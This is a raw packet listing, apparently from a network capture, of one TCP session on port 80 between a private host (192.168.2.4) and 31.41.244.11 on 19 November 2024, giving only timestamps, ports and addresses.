Nov 19, 2024 22:07:08.926229954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926296949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926357031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926395893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926419020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926431894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926450014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926465988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926489115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926502943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926539898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926561117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926577091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926585913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926615000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926631927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926646948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926683903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926688910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926721096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926759005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926785946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926795006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926824093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926827908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926863909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926866055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926906109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926920891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926944017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.926960945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.926980972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927001953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927012920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927040100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927051067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927089930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927112103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927125931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927143097 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927164078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927185059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927196980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927216053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927233934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927269936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927294016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927308083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927340984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927361012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927361965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927392960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927416086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927444935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927483082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927505016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927520990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927544117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927560091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927583933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927591085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927620888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927628994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927666903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927694082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927705050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927716017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927743912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927758932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927777052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927802086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927814960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927853107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927877903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927892923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927902937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927930117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927948952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.927964926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.927989006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928002119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928040028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928078890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928101063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928117037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928137064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928149939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928179026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928188086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928225040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928261042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928283930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928298950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928323030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928332090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928366899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928369999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928409100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928432941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928446054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928471088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928484917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928507090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928523064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928551912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928560019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928596973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928633928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928642035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928664923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928669930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928684950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928704023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928725958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928745985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928781986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928803921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928816080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928844929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928853035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928895950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928910017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928934097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928970098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.928971052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.928992987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929006100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929020882 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929044008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929080009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929101944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929116011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929133892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929157019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929177046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929191113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929212093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929228067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929265022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929291964 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929302931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929325104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929341078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929367065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929373980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929397106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929410934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929430962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929446936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929464102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929471016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929478884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929491997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929497004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929514885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929531097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929541111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929548025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929563999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929580927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929580927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929598093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929615974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929619074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929632902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929651976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929666996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929670095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929683924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929701090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929708958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929717064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929733038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929749966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929753065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929768085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929785967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929794073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929802895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929817915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929825068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929836035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929852009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929867983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929876089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929887056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929897070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929903030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929920912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929920912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929939032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929955006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929965019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.929972887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.929990053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930000067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930006981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930027008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930032015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930042982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930057049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930061102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930074930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930092096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930109024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930115938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930129051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930143118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930145979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930160999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930170059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930177927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930195093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930206060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930210114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930227041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930246115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930248022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930263042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930279970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930288076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930310011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930327892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930356026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930428028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930459023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930483103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930519104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930530071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930545092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930598974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930641890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930659056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930675983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930701017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930722952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930732965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930737972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930756092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930773020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930782080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930790901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930820942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930840015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930841923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930856943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930872917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930885077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930890083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930908918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930928946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930943012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930946112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.930958986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930977106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.930990934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931009054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931030989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931056023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931060076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931073904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931090117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931123018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931126118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931126118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931140900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931186914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931194067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931205034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931220055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931235075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931240082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931252956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931277037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931283951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931301117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931327105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931341887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931350946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931374073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931390047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931406021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931422949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931441069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931442022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931457996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931461096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931488037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931489944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931534052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931555986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931579113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931592941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931612015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931627035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931643963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931648970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931660891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931669950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931680918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931694984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931715012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931740999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931747913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931756020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931792021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931801081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931849957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931864023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931916952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.931925058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931957006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931972027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.931986094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932002068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932003021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932018995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932035923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932050943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932053089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932070017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932070017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932090044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932095051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932123899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932137966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932142973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932152987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932184935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932212114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932245970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932245970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932301044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932306051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932358980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932368040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932383060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932415009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932419062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932447910 CET	80	49864	31.41.244.11	192.168.2.4
